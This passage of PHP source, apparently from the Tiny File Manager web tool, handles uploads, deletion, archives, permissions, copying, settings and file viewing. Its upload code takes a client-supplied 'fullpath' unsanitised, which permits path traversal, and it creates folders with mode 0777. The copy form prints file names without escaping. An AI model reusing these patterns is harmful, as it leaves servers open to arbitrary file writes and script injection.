    } else {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    $override_file_name = false;
    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $_REQUEST['fullpath'];
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if(file_exists ($fullPath) && !$override_file_name) {
            $ext_1 = $ext ? '.'.$ext : '';
            $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1;
        }

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if ( file_exists($fullPath) ) {
                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array (
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array (
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg('Operations with archives are not available', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf('Archive <b>%s</b> created', fm_enc($zipname)));
        } else {
            fm_set_msg('Archive not created', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Unpack
if (isset($_GET['unzip']) && !FM_READONLY) {
    $unzip = $_GET['unzip'];
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg('File not found', 'error');
    }


    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg('Operations with archives are not available', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_GET['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg('Archive unpacked');
        } else {
            fm_set_msg('Archive not unpacked', 'error');
        }

    } else {
        fm_set_msg('File not found', 'error');
    }
    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg('Permissions changed');
    } else {
        fm_set_msg('Permissions not changed', 'error');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

/*************************** /ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>

    <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
    <script>
        Dropzone.options.fileUploader = {
            timeout: 120000,
            maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>,
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);
                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg('Nothing selected', 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i>Select folder</i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-cog"></i>  <?php echo lng('Settings') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-control" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <?php
                    //get ON/OFF and active class
                    function getChecked($conf, $val, $txt) {
                        if($conf== 1 && $val ==1) {
                            return $txt;
                        } else if($conf == '' && $val == '') {
                            return $txt;
                        } else {
                            return '';
                        }
                    }
                    ?>
                    <div class="form-group row">
                        <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
                        <p>Author: Prasath Mani</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false;
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if(!$quickView) {
        fm_show_header(); // HEADER
        fm_show_nav_path(FM_PATH); // current path
    }

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = fm_get_filesize(filesize($file_path));

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <?php if(!$quickView) { ?>
                <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
                <p class="break-word">
                    Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br>
                    File
                    size: <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf('%s bytes', $filesize) ?>)<?php endif; ?>
                    <br>
                    MIME-type: <?php echo $mime_type ?><br>
                    <?php
                    // ZIP info
                    if (($is_zip || $is_gzip) && $filenames !== false) {
                        $total_files = 0;
                        $total_comp = 0;
                        $total_uncomp = 0;
                        foreach ($filenames as $fn) {
                            if (!$fn['folder']) {
                                $total_files++;
                            }
                            $total_comp += $fn['compressed_size'];
                            $total_uncomp += $fn['filesize'];
                        }
                        ?>
                        Files in archive: <?php echo $total_files ?><br>
                        Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>
                        Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>
                        Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>
                        <?php
                    }
                    // Image info
                    if ($is_image) {
                        $image_size = getimagesize($file_path);
                        echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                    }
                    // Text info
                    if ($is_text) {
                        $is_utf8 = fm_is_utf8($content);
                        if (function_exists('iconv')) {
                            if (!$is_utf8) {
                                $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                            }
                        }
                        echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                    }
                    ?>
                </p>
                <p>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> &nbsp;
                    <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                    &nbsp;
                    <?php
                    // ZIP actions
                    if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                        $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                        ?>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>&amp;tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
                                <?php echo lng('UnZipToFolder') ?></a></b> &nbsp;
                        <?php
                    }
                    if ($is_text && !FM_READONLY) {
                        ?>
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                            </a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                              class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                            </a></b> &nbsp;
                    <?php } ?>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
                </p>
                <?php
            }
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>Error while fetching archive info</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))) {
                    echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fm_enc($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
    if(!$quickView) {
        fm_show_footer();
    }
    exit;
}

// file editor
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file)) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    header('X-XSS-Protection:0');
